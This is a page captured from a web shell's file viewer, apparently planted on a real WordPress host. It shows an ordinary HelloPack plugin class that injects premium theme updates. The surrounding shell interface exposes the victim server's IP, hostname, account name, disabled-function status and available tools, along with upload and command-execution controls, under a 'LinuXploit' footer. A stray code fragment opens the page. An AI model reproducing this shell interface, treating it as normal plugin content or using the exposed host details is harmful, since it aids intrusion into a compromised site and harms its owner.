$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/www/wp-content/plugins/hellopack-client/includes/Update/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/www/wp-content/plugins/hellopack-client/includes/Update/ThemeUpdater.php
<?php
/**
 * Theme update injection.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Client\Update;

use HelloPack\Client\Api\Client;
use HelloPack\Client\Utility\DisabledItems;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Injects premium theme updates into WordPress transients.
 */
class ThemeUpdater {

	/**
	 * API client.
	 *
	 * @var Client
	 */
	private Client $api;

	/**
	 * Items cache.
	 *
	 * @var ItemsCache
	 */
	private ItemsCache $cache;

	/**
	 * Pre-computed update entries (cached per-request).
	 *
	 * @var array<string, array<string, mixed>>|null
	 */
	private ?array $computed_updates = null;

	/**
	 * Constructor.
	 *
	 * @param Client     $api   API client.
	 * @param ItemsCache $cache Items cache.
	 */
	public function __construct( Client $api, ItemsCache $cache ) {
		$this->api   = $api;
		$this->cache = $cache;
	}

	/**
	 * Inject premium theme updates into the update transient.
	 *
	 * This filter fires on every get_site_transient('update_themes') call.
	 * The heavy work is computed once and cached in-memory.
	 *
	 * @param mixed $transient The update_themes transient (false when not yet set).
	 * @return object
	 */
	public function inject_updates( mixed $transient ): object {
		if ( ! is_object( $transient ) ) {
			$transient = new \stdClass();
		}
		if ( ! isset( $transient->checked ) ) {
			return $transient;
		}

		if ( null === $this->computed_updates ) {
			$this->computed_updates = $this->compute_updates();
		}

		foreach ( $this->computed_updates as $slug => $update ) {
			if ( null === $update ) {
				unset( $transient->response[ $slug ] );
			} else {
				$transient->response[ $slug ] = $update;
			}
		}

		return $transient;
	}

	/**
	 * Compute premium theme update entries.
	 *
	 * @return array<string, array<string, mixed>> Theme slug => update data.
	 */
	private function compute_updates(): array {
		$themes_data = $this->cache->get_themes();
		$installed   = array_merge(
			$themes_data['active'] ?? array(),
			$themes_data['installed'] ?? array()
		);
		$updates     = array();

		foreach ( $installed as $slug => $premium ) {
			$theme = wp_get_theme( $slug );

			if ( ! $theme->exists() ) {
				continue;
			}

			if ( $this->is_disabled( $slug ) ) {
				continue;
			}

			if ( version_compare( $theme->get( 'Version' ), $premium['version'], '<' ) ) {
				$updates[ $slug ] = array(
					'theme'       => $slug,
					'new_version' => $premium['version'],
					'url'         => $premium['url'],
					'package'     => $this->api->deferred_downloads( (int) $premium['id'] ),
				);
			} else {
				$updates[ $slug ] = null;
			}
		}

		return $updates;
	}

	/**
	 * Filter WP.org request to remove premium themes.
	 *
	 * @param array<string, mixed> $request HTTP request args.
	 * @param string               $url     Request URL.
	 * @return array<string, mixed>
	 */
	public function filter_wp_org_request( array $request, string $url ): array {
		if ( false === strpos( $url, '//api.wordpress.org/themes/update-check/1.1/' ) ) {
			return $request;
		}

		$themes_data = $this->cache->get_themes();
		$installed   = array_merge(
			$themes_data['active'] ?? array(),
			$themes_data['installed'] ?? array()
		);

		if ( empty( $installed ) || empty( $request['body']['themes'] ) ) {
			return $request;
		}

		$data = json_decode( $request['body']['themes'] );

		foreach ( $installed as $slug => $item ) {
			if ( $this->is_disabled( $slug ) ) {
				continue;
			}
			unset( $data->themes->$slug );
		}

		$request['body']['themes'] = wp_json_encode( $data );

		return $request;
	}

	/**
	 * Rebuild theme cache on theme switch.
	 */
	public function rebuild(): void {
		$this->computed_updates = null;
		$this->cache->get_themes( true );
	}

	/**
	 * Check if a theme is excluded from HelloPack management via HP_DISABLE_THEMES.
	 *
	 * @param string $slug Theme slug (folder name).
	 * @return bool
	 */
	private function is_disabled( string $slug ): bool {
		return DisabledItems::is_theme_disabled( $slug );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit